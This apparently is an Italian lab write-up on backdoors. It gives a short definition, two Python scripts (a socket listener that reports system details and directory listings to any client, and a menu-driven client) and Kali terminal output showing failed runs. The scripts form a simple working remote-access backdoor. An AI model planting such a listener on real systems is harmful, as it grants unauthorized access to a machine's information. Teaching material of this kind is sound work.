

backdoor

una backdoor è una via d'accesso segreta attraverso cui un utente non autorizzato oltre passa le normali procedure di autenticazione il che può portare un rischio elevato di attacchi, oltre ad essere un elevato rischio di perdita di dati sensibili

il primo dei 2 codici forniti rappresenta la creazione di un server che ascolta connessioni in sola entrata e risponde in base ai comandi ricevuti invece il secondo è un codice per cui python cerca di connettersi ad un server ed eseguendo alcuni semplici operazioni

```
1 import socket, platform, os
2
3 SRV_ADDR = ""
4 SRV_PORT = 1234
5
6 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7 s.bind((SRV_ADDR, SRV_PORT))
8 s.listen(1)
9 connection, address = s.accept()
10
11 print ("client connected: ", address)
12
13 while 1:
14     try:
15         data = connection.recv(1024)
16     except:continue
17
18     if(data.decode('utf-8') == '1'):
19         tosend = platform.platform() + " " + platform.machine()
20         connection.sendall(tosend.encode())
21     elif(data.decode('utf-8') == '2'):
22         data = connection.recv(1024)
23         try:
24             filelist = os.listdir(data.decode('utf-8'))
25             tosend = ""
26             for x in filelist:
27                 tosend += " " + x
28         except:
29             tosend = "wrong path"
30         connection.sendall(tosend.encode())
31     elif(data.decode('utf-8') == '0'):
32         connection.close()
33         connection, address = s.accept()
```

```
^CTraceback (most recent call last):
  File "/home/kali/Desktop/code1.py", line 9, in <module>
    connection, address = s.accept()
                             ^^^^^^^^^^^
  File "/usr/lib/python3.11/socket.py", line 294, in accept
    fd, addr = self._accept()
                ^^^^^^^^^^^^^
KeyboardInterrupt
```

```

1 import socket
2 SRV_ADDR = input("Type the server ip address: ")
3 SRV_PORT = int(input("Type the server port: "))
4
5 def print_menu():
6     print("""\n\n0) Close the connection
7 1) Get system info
8 2) List directory contents""")
9
10 my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11 my_sock.connect((SRV_ADDR, SRV_PORT))
12
13 print("connection established")
14 print_menu()
15
16 while 1:
17     message = input("\n-select an option: ")
18
19     if(message == "0"):
20         my_sock.sendall(message.encode())
21         my_sock.close()
22         break
23
24     elif(message == "1"):
25         my_sock.sendall(message.encode())
26         data = my_sock.recv(1024)
27         if not data: break
28     elif(message == "2"):
29         path = input("insert the path: ")
30         my_sock.sendall(message.encode())
31         my_sock.sendall(path.encode())
32         data = my_sock.recv(1024)
33         data = data.decode('utf-8').split(",")
34         print("*"*40)
35         for x in data:
36             print(x)
37         print("*"*40)
38

```

```

(kali@kali)-[~/Desktop]
$ python code2.py
Type the server ip address: 192.168.32.100
Type the server port: 443
Traceback (most recent call last):
  File "/home/kali/Desktop/code2.py", line 11, in <module>
    my_sock.connect((SRV_ADDR, SRV_PORT))
ConnectionRefusedError: [Errno 111] Connection refused

```